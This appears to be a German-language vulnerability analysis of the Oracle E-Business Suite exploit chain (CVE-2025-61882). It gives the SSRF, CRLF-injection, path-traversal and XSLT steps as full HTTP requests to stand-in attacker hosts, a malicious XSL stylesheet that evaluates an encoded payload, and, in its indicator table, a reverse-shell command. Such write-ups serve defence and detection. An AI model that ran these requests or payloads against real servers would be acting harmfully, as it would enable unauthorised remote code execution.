1... else if (paramHttpServletRequest.getParameter("getUiType") != null) {2String str = paramHttpServletRequest.getParameter("redirectFromJsp");// [1]3XMLDocument xMLDocument = XmlUtil.4parseXmlString(paramHttpServletRequest.getParameter("getUiType"));// [0]5if (str == null || "false".equalsIgnoreCase(str)) { ... return; }6createNew(7xMLDocument,8httpSession, paramHttpServletRequest, paramHttpServletResponse); } // [2]
Analyse
Der Code akzeptiert ein XML Dokument über den "getUIType" parameter[0], wenn "redirectFromJsp" [1] gesetzt ist. Dann wird der Wert an die Funktion createNew() [2] weitergegeben.
Verarbeitung des XML Dokuments
1String str1 = CZUiUtilities.resubXMLAndURLChars(2XmlUtil.getReturnUrlParameter(paramXMLDocument));3clientAdapter.setReturnUrl(str1);
Analyse
Aus dem Dokument wird der "returnUrl" Parameter ausgelesen und nach einigen Schritten an die folgende Methode weitergeleitet.
SSRF
1protected void postXmlMessage(String paramString1, String paramString2) {2try {3URL uRL = getUrl(paramString1);4if (uRL != null) paramString1 = uRL.toExternalForm();5CZURLConnection cZURLConnection = new CZURLConnection(paramString1);6String[] arrayOfString1 = { "XMLmsg" };7String[] arrayOfString2 = { paramString2 };8cZURLConnection.connect(1, arrayOfString1, arrayOfString2);9cZURLConnection.close();10} catch (Exception exception) { ... } }
Analyse
Der Parameter wird ungefiltert an die .connect(...) Methode übergeben.
Beispielhafte Anfrage
1POST /OA_HTML/configurator/UiServlet HTTP/1.12Host: {{Hostname}}3Content-Type: application/x-www-form-urlencoded4Content-Length: 40756redirectFromJsp=1&getUiType=<@urlencode_all><?xml version="1.0" encoding="UTF-8"?>7<initialize>8<param name="init_was_saved">test</param>9<param name="return_url">http://{{external-host}}</param>101112<param name="ui_def_id">0</param>13<param name="config_effective_usage_id">0</param>14<param name="ui_type">Applet</param>15</initialize></@urlencode_all>
2. Carriage Return/Line Feed (CRLF) Injection
Beispielanfrage
1POST /OA_HTML/configurator/UiServlet HTTP/1.12Host: {{Hostname}}3Content-Type: application/x-www-form-urlencoded4Content-Length: 52456redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>7<initialize>8<param name="init_was_saved">test</param>9<param name="return_url"><http://attacker-oob-server>/HeaderInjectionTest10 HTTP/1.1 InjectedHeader:Injected  ԟ POST /</param>12<param name="ui_def_id">0</param>13<param name="config_effective_usage_id">0</param>14<param name="ui_type">Applet</param>15</initialize></@urlencode>
Validierung der Injection mittels lokalem Server
1[root@oob-server]# python3 server.py 8023[*] Serving raw HTTP on port 8045==================================================67DUMPING RAW HTTP REQUEST from oracle-business-ip:1908089POST /HeaderInjectionTest HTTP/1.110--- HEADERS ---11InjectedHeader: Injected
Achtung!
Es ist somit den Angreifern gelungen HTTP POST Requests durchzuführen!
Analyse
Der Angreifer kann beliebige Requests durchführen. Weiterhin ist der Angreifer in der Lage HTTP persistent connections zu nutzen (bisher nicht gezeigt; siehe finale Anfrage), was die Erkennungsmöglichkeiten weiter erschwert.
CRLF Injection im Zusammenhang mit einem SSRF kann eine Möglichkeit sein, Header und Parameter einzufügen, die sonst über die URL nicht kontrollierbar wären.
3. Authentication Filter Bypass
Ausgangssituation
Eine typische Oracle E-Business Suite-Bereitstellung macht den Kern der Anwendung innerhalb eines HTTP-Dienstes zugänglich, der lokal an Port 7201/TCP gebunden ist über eine private IP Adresse (nicht localhost).
Frage
Wie kommt man an diese IP Adresse?
Bemerkung
Oracle EBS hat immer den folgenden Eintrag in der /etc/hosts Datei:
# cat /etc/hosts 172.31.28.161 apps.example.com apps
Die lokale IP ist somit an apps.example.com gebunden.
Analyse
Wir können somit Anfragen an http://apps.example.com:7201 stellen und erhalten Zugriff auf zahlreiche jsps und servlets.
Die Exploit-Kette nutzt als nächstes ein Path Traveral, um den Java-App-Filter zu umgehen, da der Pfad /help/ keine Authentifizierung erfordert. Durch Anhängen von ../ und der Zieldatei/dem Ziel-Servlet an eine an /OA_HTML/help/ gesendete HTTP-Anfrage kann die Exploit-Kette die Authentifizierungs-Whitelist umgehen.
4. XSL Transformation (XSLT)
Zielservlet: /OA_HTML/help/../ieshostedsurvey.jsp
Der Code erstellt aus dem eingehenden Host: Header eine Remote-URL, wodurch der Java-Code /ieshostedsurvey.xsl vom Server des Angreifers herunterlädt.
Bemerkung
Da die XSLT-Verarbeitung in Java Templates und Erweiterungsfunktionen aufrufen kann, ermöglicht dies ein nicht vertrauenswürdiges Stylesheet zu laden und erlaubt dem Angreifer Remote Code Execution.
Vollständiger Request zum Triggern der Schwachstelle
1POST /OA_HTML/configurator/UiServlet HTTP/1.12Host: not-actually-watchtowr.com-stop-emailing-us-about-iocs:80003User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.364Accept-Encoding: gzip, deflate, br5Accept: */*6Connection: keep-alive7CSRF-XHR: YES8FETCH-CSRF-TOKEN: 19Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo10Content-Length: 84711Content-Type: application/x-www-form-urlencoded1213redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>14<initialize>15<param name="init_was_saved">test</param>16<param name="return_url"><http://apps.example.com:7201><@html_entities>/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.217Host: attacker-oob-server18User-Agent: anything19Connection: keep-alive20Cookie: JSESSIONID=_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDB=oSVgJCh0YacxUZCwOlLajtL2zo212223POST /</@html_entities></param>2425<param name="ui_def_id">0</param>26<param name="config_effective_usage_id">0</param>27<param name="ui_type">Applet</param>28</initialize></@urlencode>
Vom Angreifer ausgeliefertes XSL
1<xsl:stylesheet version="1.0"2xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"3xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"4xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"5xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"6xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">7<xsl:template match="/">8<xsl:variable name="bs"9select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>10<xsl:variable name="js" select="str:new($bs)"/>11<xsl:variable name="m" select="jsm:new()"/>12<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>13<xsl:variable name="code" select="eng:eval($e, $js)"/>14<xsl:value-of select="$code"/>15</xsl:template>16</xsl:stylesheet>
Fragwürdige Indicators of Compromise (IOCs)
The following indicators of compromise represent observed activity (not limited to CVE-2025-61882) and are provided to accelerate detection, threat hunting, and containment.
Indicator
Type
Description
200[.]107[.]207[.]26
IP
Potential GET and POST activity
185[.]181[.]60[.]11
IP
Potential GET and POST activity
sh -c /bin/bash -i >& /dev/tcp// 0>&1
Command
Establish an outbound TCP connection over a specific port
76b6d36e04e367a23[...]ca0f31235d
SHA 256
oracle_ebs_nday_exploit_poc _scattered_lapsus_retard_cl0p _hunters.zip
aa0d3859d6633b62b[...]0c73d41121
SHA 256
oracle_ebs_nday_exploit_poc _scattered_lapsus_retard-cl0p_hunters/exp.py
6fd538e4a8e3493dd[...]f34b882c1b
SHA 256
oracle_ebs_nday_exploit_poc _scattered_lapsus_retard-cl0p_hunters/server.py